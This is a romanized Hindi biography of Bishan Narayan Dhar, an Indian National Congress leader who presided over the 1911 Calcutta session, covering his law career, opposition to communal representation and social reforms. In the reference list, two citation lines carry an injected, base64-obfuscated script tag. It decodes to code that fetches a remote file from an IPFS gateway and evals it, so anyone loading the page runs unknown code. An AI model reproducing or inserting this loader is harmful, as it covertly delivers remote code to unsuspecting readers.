बिशन नारायण धर
bishan narayan dhar
| |
| poora nam | bishan narayan dhar |
| janm | 1864 |
| janm bhoomi | barabanki, uttar pradesh |
| mrityu | 1916 |
| nagarikata | bharatiy |
| prasiddhi | rajanitijn |
| parti | bharatiy rashtriy kaangres |
| sanbandhit lekh | bharatiy rashtriy kaangres, kaangres adhiveshan |
| any janakari | bishan narayan dhar san 1911 mean kalakatta mean hue bharatiy rashtriy kaangres ke adhiveshan mean adhyaksh banaye ge the. ve dharm aur samajik sudharoan par bahut udar vicharoan vale the. |
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bishan narayan dhar (aangrezi: Bishan Narayan Dar, janm- 1864, uttar pradesh; mrityu- 1916) jane mane lekhak aur lokapriy neta the. ve kalakatta nagar nigam ke sadasy aur bangal vidhan parishad ke sadasy rahe the. bishan narayan dhar san 1911 mean kalakatta mean hue bharatiy rashtriy kaangres ke adhiveshan mean adhyaksh banaye ge the. in par pandit adity nath, kalakaankar ke raja ramapal sianh, surendr nath banarji tatha ianglaiannd mean mile lal mohan ghosh aur chandravarakar adi ke vicharoan ka prabhav tha.
parichay
bishan narayan dhar ka janm san 1864 mean barabanki, uttar pradesh mean ek kashmiri parivar mean hua tha. inake pita ka nam pandit kishan narayan dhar tha, jo ek sarakari seva mean muansiph the. unhoanne apani shiksha ki shuruat urdoo aur farasi ke sath abhijat uttar bharatiy varg ki paranparik shaili se ki. unhoanne apani k aaulej shiksha lakhanoo mean prapt ki. phir ve ianglaiand chale gaye, jahaan unhoanne qanoon ki padhaee ki aur bar mean chale gaye. san 1887 mean vapasi ke bad unhoanne avadh mean vakil ke roop mean apani praiktis shuroo ki. shighr hi unaki ganana apane samay ke pramukh adhivaktaoan mean hone lagi. sarvajanik mamaloan aur apane desh ke kalyan se ju de kamoan mean bishan narayan dhar ki ruchi thi, jisake chalate ve apane saphal peshevar kॅriyar ko bahut jyada ooanchaee nahian de paye. san 1892 mean ve rajaniti mean kood p de aur 1916 mean huee unaki mrityu tak rashtriy aandolan mean sabase adhik sakriy vyaktitv ke roop mean bane rahe.[1]
rajanitik shuruat
pandit bishan narayan dhar ne apani gatividhiyaan keval vakalat ke dvara dhan arjit karane tak simit nahian rakhian. ve sarvajanik karyoan mean bhi bhag lene lage. unake oopar tatkalin netaoan- pandit adity nath, kalakaankar ke raja ramapal sianh, surendr nath banarji tatha ianglaiannd mean mile lal mohan ghosh aur chandravarakar adi ke vicharoan ka prabhav p da. 1892 mean ve rajaniti ke kshetr mean ae aur phir jivan-bhar usase ju de rahe. is varsh ye pahali bar bharatiy rashtriy kaangres ke ilahabad adhiveshan mean sammilit hue aur phir sada in adhiveshanoan mean bhag lete rahe. ve b de prabhavashali vakta the aur kaangres mean mahattvapoorn prastav prastut karane ka dayitv nibhate the. 1911 mean bishan narayan dhar ne kolakata kaangres ki adhyakshata ki. isase poorv ve kendriy kauansil ke sadasy bhi rah chuke the. unhoanne sab jagah apane bhashanoan aur lekhoan mean bharatavasiyoan ki samasyaean hal karane par jor diya. us samay ke any netaoan ki bhaanti bishan narayan dhar bhi sarakari naukariyoan mean bharatiyoan ko adhik sthan dene ki maang karate hue aee.si.es. ki parikshaean ianglaiannd aur bharat mean sath-sath karane par jor dete the.[2]
rashtravadi hitoan ki vakalat
20vian sadi ki shuruat mean kee varshoan tak ianpiriyal vidhan parishad ke sadasy ke roop mean bishan narayan dhar ne sahasapoorvak rashtravadi hitoan ki vakalat ki aur sarakari nitiyoan tatha upayoan ki alochana ki. unake rajanitik vichar spasht taur par kaangres satroan mean die ge bhashanoan, ianpiriyal vidhan parishad mean aur unake dvara likhe gaye kee lekhoan mean parilakshit hote haian. 1890 mean vidhan parishad mean sudhar par kaangres satr mean bolate hue unhoanne vishesh alpasankhyak pratinidhitv ke vichar ka virodh kiya tha. unaka kahana tha ki- "vidhan parishad aisi sanstha hai, jahaan rashtriy hitoan ka pratinidhitv hona chahie aur har tarah ke saanpradayik hitoan aur poorvagrahi vargoan ko bahar rakha jana chahie. rashtriy parishad ka uddeshy poore bharat ke am masaloan par charcha karane ke lie hi hai. isaliye siddhaantatah meri alpasankhyakoan ke pratinidhitv ke kisi bhi khand par apatti hai."[1]
isake bad kaangres ke 1911 satr mean apane adhyakshiy bhashan mean unhoanne kaha- "saanpradayik rajanitik sangathan hamesha apattijanak hoange, aur bharat ke mukabale kahian bhi aisa nahian hai, jahaan jatiy, dharmik aur samajik poorvagrah is sanrachana mean ghusane ke liye tatpar hoan aur jis vastavik uddeshy ke liye unaki shuruat ki gee ho usi ko vikrit kar dean."
british nyay bhavana mean vishvas
unake samay ke doosare rashtravadiyoan ki tarah bishan narayan dhar ka british nyay bhavana mean vishvas tha, lekin isake sath hi vah sarakari nitiyoan aur upayoan ke prabal alochak the. ve naukarashahi ke bharatiyakaran ke paksh mean the tatha ianglaiand aur bharat mean ek sath sivil seva parikshaoan ko karavana chahate the.
sarakari adhikariyoan ki alochana
san 1893 mean ajamagadh, uttar pradesh mean jab gauhatya dange hue, jisamean hinduoan ka bhari matra mean utpi dan kiya gaya. bishan narayan dhar ne satae gaye hinduoan ki or se qanooni adalatoan aur pres mean l daeeyaan l dian. ajamagadh parchoan mean unhoanne sthiti se nipatane mean viphal rahane ke karan sarakari adhikariyoan ki alochana ki. isase poore desh mean sanasani paida ho gee.
lekhak
bishan narayan dhar ek behatarin lekhak bhi the. march, 1910 mean 'lidar' mean prakashit unake lekh "vartaman rajanitik sthiti" ne sarakar ko sanpadak aur prakashak ke khilaph karravaee karane ke lie ukasane ka kam kiya.[1]
udar vichar
bishan narayan dhar dharm aur samajik sudharoan par bahut udar vicharoan vale the. kashmiri pandit samuday ne unhean ianglaiand jane ke karan nirvasit karane ki ghoshana kar di aur 1887 mean vapasi par unase prayashchit karane ki maang ki. unhoanne nirbhikata se inakar kar diya aur aant mean pragatishil tatvoan ki madad se purani dharm sabha ko bhang kar diya tatha ek naya sangathan kh da kiya, jise 'bishan sabha' ke nam se jana jane laga. bishan narayan dhar vicharoan mean b de udar aur roodhivadi paranparaoan ka dat kar virodh karate the. ek bar kauansil mean alpasankhyakoan ke lie prithakh pratinidhitv ke prashn par vichar kiya ja raha tha to isaka unhoanne joradar virodh kiya aur kaha ki- "rashtriy star ki sansthaoan mean keval rashtriy mahattv ke aise prashnoan par vichar hona chahie, jinaka sanbandh sabhi bharatavasiyoan se ho n ki kisi chhote varg ki batoan par."
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bishan narayan dhar (hindi) inc.in. abhigaman tithi: 3 joon, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 545 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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